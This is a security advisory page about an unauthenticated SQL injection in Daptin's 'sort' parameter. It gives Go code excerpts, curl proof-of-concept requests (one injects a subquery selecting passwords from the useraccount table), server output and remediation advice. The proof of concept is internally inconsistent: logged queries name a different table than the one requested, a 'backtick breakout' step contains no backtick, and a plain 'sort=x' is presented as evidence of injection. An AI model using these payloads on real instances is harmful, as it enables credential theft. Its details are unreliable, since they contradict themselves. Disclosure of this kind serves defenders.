GO-2026-7012: Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint

Published Nov 20, 2026
·
Updated

Summary

An unauthenticated attacker can inject arbitrary SQL through the sort query parameter accepted by Daptin's generic entity list endpoint (GET /api/<entity>), which every table in a Daptin instance exposes. The parameter is concatenated into raw SQL identifiers with no validation that the referenced column exists, unlike a sibling code path in the same file that received exactly this validation as the fix for a previously published advisory (GHSA-rw2c-8rfq-gwfv). Impact ranges from unauthenticated denial of service (a single crafted request 500s the query) to blind/error-based extraction of data from tables the requester has no permission to read.

Details

PaginatedFindAllWithoutFilters in server/resource/resourcefindallpaginated.go reads the sort query parameter directly from the request with no validation:

go // server/resource/resourcefindallpaginated.go:300-302 var sortOrder []string if len(req.QueryParams["sort"]) > 0 { sortOrder = req.QueryParams["sort"]

Each entry is then concatenated with the table name and passed to goqu.I() (goqu's raw SQL identifier constructor) in two separate places, with no check that the referenced column exists on the table:

go // server/resource/resourcefindallpaginated.go:435-449 (SELECT column list) for , sort := range sortOrder { ... if strings.Index(sort, "(") == -1 { sort = prefix + sort } idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, ".", ""))) }

go // server/resource/resourcefindallpaginated.go:916-943 (ORDER BY clause) for , so := range sortOrder { ... orders = append(orders, goqu.I(ord).Asc()) }

goqu.I() renders its argument by wrapping it in the dialect's quote character (a backtick, in this build's configured dialect) without escaping an embedded quote character of the same kind. A backtick supplied in sort closes the identifier early, and the remainder of the attacker string is parsed as raw SQL grammar rather than treated as inert column-name text.

This is the same bug class as GHSA-rw2c-8rfq-gwfv ("SQL injection via unvalidated goqu.L() calls in aggregate API", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines later in the same file, in the fuzzy-search code path:

go // server/resource/resourcefindallpaginated.go:1491-1505 // Validate each column against table schema (prevents SQL injection via goqu.L) tableInfo := dbResource.tableInfo var validColumns []string for , col := range columns { if , ok := tableInfo.GetColumnByName(col); ok { validColumns = append(validColumns, col) } else { log.Warnf(...) } }

The identical validation was never applied to the base sort parameter handling earlier in the same file. Unlike fuzzy search (which requires an explicit filter operator to reach), plain sort is processed on every list request to every entity, authenticated or not.

PoC

Build current HEAD and run it with a fresh SQLite database and no custom schema:

bash go build -buildvcs=false -o daptinbin . ./daptinbin

No account needs to exist. world (and most default tables) are guest-readable, so all requests below are sent with no Authorization header at all:

bash 1) Reflection -- proves raw, unsanitized concatenation curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --' => {"errors":[{"status":"500","title":"no such column: world.email\" --"}]}

Server log shows the exact constructed query: SELECT distinct(useraccount.id), useraccount.email" -- AS useraccountemail" -- FROM useraccount LEFT JOIN ... WHERE (...) ORDER BY useraccount.email" -- ASC LIMIT ? == [10]

2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text curl -s -G "http://localhost:6336/api/useraccount" \ --data-urlencode 'sort=id,(select password from useraccount limit 1)' => {"errors":[{"status":"500","title":"near \"\": syntax error"}]}

3) Zero credentials, reliable across repeated attempts for i in 1 2 3; do curl -s -o /dev/null -w "%{httpcode}\n" -G "http://localhost:6336/api/world" \ --data-urlencode 'sort=x' done => 500 / 500 / 500

Other sources

Daptin: Unauthenticated SQL Injection via the sort query parameter on every entity list endpoint in github.com/daptin/daptin

— OSV

Affected Software

1 affected componentFixes available
go/github.com/daptin/daptin<0.12.30
0.12.30

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/daptin/daptin to a version that resolves this vulnerability.

    Fixed in 0.12.30
  2. Compensating control

    Validate each requested sort column against the table schema before passing it to goqu.I(), including the base sort-parameter handling path.

Event History

Nov 20, 2026
Advisory Published
via OSV·12:13 AM
Data Sourced
via OSV·12:13 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Any Daptin instance exposing generic entity list endpoints at GET /api/<entity> is potentially exposed, because every table is available through this endpoint and the sort parameter is processed without validation.

2

Does exploitation require authentication or user interaction?

No. The issue is described as exploitable by an unauthenticated attacker through a crafted sort query parameter, with no user interaction required.

3

What can an attacker do with this flaw?

A crafted request can cause a query failure and denial of service. It may also enable blind or error-based extraction of data from tables that the requester would not normally be permitted to read.

4

How can I identify exploitation attempts?

Review requests to GET /api/<entity> for unusual or malformed sort parameter values, especially requests that trigger HTTP 500 query errors. The vulnerable path reads every supplied sort entry and incorporates it into SQL identifiers without validating that the referenced column exists.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203